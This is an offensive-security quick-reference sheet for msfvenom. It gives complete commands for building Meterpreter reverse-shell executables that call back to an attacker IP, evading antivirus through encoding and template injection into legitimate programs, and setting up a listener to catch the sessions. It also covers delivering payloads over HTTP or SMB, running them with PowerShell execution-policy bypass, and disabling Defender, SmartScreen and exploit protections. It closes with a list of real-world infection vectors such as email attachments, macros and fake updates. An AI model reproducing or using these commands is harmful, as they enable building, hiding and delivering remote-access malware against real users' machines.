msfvenom & Windows Evasion Quick Reference

msfvenom Payload Generation

Basic Windows Reverse Shell

```bash
# Standard Meterpreter payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe

# 32-bit specific
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe --arch x86 -o shell32.exe

# 64-bit specific
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe --arch x64 -o shell64.exe
```

Common Output Formats

```bash
# Windows executable
-f exe

# PowerShell script
-f ps1

# C# executable
-f exe-csharp

# Python script
-f python

# Raw shellcode
-f raw

# JavaScript
-f js_le
```

Encoding & Evasion

```bash
# Single encoding (basic AV bypass)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe

# Multiple iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded

# Template injection (hide in legitimate exe)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -x template.exe -f exe -o infected.exe
```

Handler Setup

Multi Handler Configuration

```bash
# In msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
set ExitOnSession false
run -j
```

Payload & Handler Matching

```
Payload: windows/meterpreter/reverse_tcp
Handler: PAYLOAD windows/meterpreter/reverse_tcp

Payload: windows/shell/reverse_tcp
Handler: PAYLOAD windows/shell/reverse_tcp

⚠️ Payload and handler must match exactly!
```

Windows 10/11 Security Bypass

Windows Defender Disable

Start > Settings > Update & Security > Windows Security
> Virus & Threat Protection > Manage Settings

Turn OFF:
✗ Real-time protection
✗ Cloud-delivered protection
✗ Automatic sample submission
✗ Tamper Protection

SmartScreen Disable

Windows Security > App & browser control
> Reputation-based protection settings

Turn OFF all checks:
✗ Check apps and files
✗ SmartScreen for Microsoft Edge
✗ Potentially unwanted app blocking

Exploit Protection Settings

Windows Security > App & browser control
> Exploit protection settings > System settings

Disable:
✗ Control Flow Guard (CFG)
✗ SEHOP (Validate exception chains)
✗ Mandatory ASLR
✗ Bottom-up ASLR
✗ Validate heap integrity

Payload Delivery Methods

Python HTTP Server

bash

```
# Create virtual environment (recommended)
python3 -m venv msvenv && source msvenv/bin/activate

# Serve payload
cd /path/to/payload
python3 -m http.server 8080

# Access at: http://IP:8080/payload.exe
```

PowerShell Download

```powershell
# Download payload
Invoke-WebRequest -Uri http://192.168.1.100:8080/shell.exe -OutFile shell.exe

# Alternative method
wget http://192.168.1.100:8080/shell.exe -O shell.exe

# Execute with bypass
powershell -ExecutionPolicy Bypass -File payload.ps1
```

SMB Share Delivery

```bash
# Setup SMB share (Kali)
sudo impacket-smbserver share /path/to/payloads -smb2support

# Access from Windows
\\192.168.1.100\share\payload.exe
```

Common msfvenom Options

```bash
```

```
-p, --payload      Payload to use
-l, --list         List available payloads/encoders/formats
-e, --encoder      Encoder to use
-i, --iterations   Number of encoding iterations
-f, --format       Output format (exe, raw, ps1, etc.)
-o, --out          Output file
-x, --template     Custom executable template
-k, --keep         Keep template behavior + inject payload
-s, --space        Maximum payload size
-b, --bad-chars    Characters to avoid (e.g., \x00\x0a\x0d)
--arch             Target architecture (x86, x64)
--platform         Target platform (windows, linux, etc.)
```

Troubleshooting

Connection Issues

bash

```
# Test network connectivity
ping [target_IP]
telnet [target_IP] [port]

# Check if port is blocked
nc -nv [target_IP] [port]
```

Payload Blocked

- Disable all Windows security features
- Try different payload formats (-f)
- Use encoding/templates for evasion
- Check if payload matches handler exactly

Handler Not Catching

- Verify LHOST matches your attack machine IP
- Ensure LPORT is not blocked by firewall
- Confirm payload and handler use same settings

- Check network connectivity between machines

Real-World Delivery Vectors

Email Attachments: .exe, .scr, .bat, .cmd, .pif **Document Macros:** .doc, .docx, .xls, .xlsx with VBA **Web Downloads:** Fake software updates, utilities **USB/Physical:** Autorun payloads, social engineering **Supply Chain:** Infected legitimate software updates